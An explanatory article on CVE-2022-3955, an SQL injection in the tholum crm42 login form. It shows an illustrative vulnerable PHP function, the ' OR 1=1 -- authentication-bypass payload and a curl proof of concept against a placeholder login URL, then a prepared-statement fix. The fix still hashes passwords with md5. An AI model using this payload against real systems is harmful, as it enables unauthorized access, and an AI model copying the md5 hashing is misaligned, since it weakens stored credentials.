In late 2022, a critical security flaw was found in tholum crm42, a little-known customer relationship management (CRM) system. The flaw was officially cataloged as CVE-2022-3955 and received a high severity rating due to its ease of exploitation and potential impact. Let's take a deep dive into how this vulnerability works, how it could be exploited, and what you can do to stay safe.

What Is CVE-2022-3955?

CVE-2022-3955 is an SQL Injection vulnerability within the "Login" component of tholum crm42, tracked under VDB-213461. Specifically, the problem is in the file:

crm42/class/class.user.php

When the user_name parameter is processed during login, it isn’t properly filtered or escaped before being included into SQL statements. This oversight allows an attacker to feed malicious inputs that manipulate, leak, or destroy your database.

Here’s a simplified version of how the vulnerable code in class.user.php might look

// Vulnerable code example
public function login($user_name, $password) {
    // direct interpolation of user input in SQL
    $sql = "SELECT * FROM users WHERE user_name = '$user_name' AND password = '" . md5($password) . "'";
    $result = mysqli_query($this->conn, $sql);
    if(mysqli_num_rows($result) == 1){
        // Login successful
        return true;
    }
    return false;
}

Notice how $user_name is injected right into the SQL without any sanitization or parameterization? That’s exactly where attackers get in.

Malicious username input

' OR 1=1 --

How the SQL looks after injection

SELECT * FROM users WHERE user_name = '' OR 1=1 -- ' AND password = 'xxxx'

- The part OR 1=1 always returns true, so *every* record could be matched, allowing access without knowing the password.

The -- comment dashes out the rest of the query, bypassing any password checks.

This type of attack can be performed using simple tools such as browser plugins, curl, or more advanced tools like SQLMap.

Here’s a simple proof-of-concept using curl

curl -X POST \
     -d "user_name=' OR 1=1 --" \
     -d "password=anything" \
     http://target-crm42.example.com/login.php

If the system responds with a successful login, your application is critically exposed.

- VulDB Advisory: VDB-213461
- CVE Listing: CVE-2022-3955 *(at time of writing, details may be minimal)*
- OWASP SQL Injection Guide: https://owasp.org/www-community/attacks/SQL_Injection

How Can Developers Fix It?

Never trust user input. Always use parameterized queries or prepared statements. Here’s how you’d fix the vulnerable code:

// Safe code example
public function login($user_name, $password) {
    $stmt = $this->conn->prepare("SELECT * FROM users WHERE user_name = ? AND password = ?");
    $hashed_password = md5($password);
    $stmt->bind_param("ss", $user_name, $hashed_password);
    $stmt->execute();
    $result = $stmt->get_result();
    if($result->num_rows == 1){
        // Login successful
        return true;
    }
    return false;
}

This code safely separates user data from the SQL structure.

Conclusion

CVE-2022-3955 is a clear reminder of why SQL injection is still one of the most dangerous vulnerabilities in web software. If you run tholum crm42, check your systems today, patch and secure your code, and keep tabs on new advisories.

*If you want to learn more about SQL injection and how to defend your applications, check out the OWASP SQLi guide and make security a part of your everyday coding!*

Timeline

Published on: 11/11/2022 16:15:00 UTC
Last modified on: 11/16/2022 15:43:00 UTC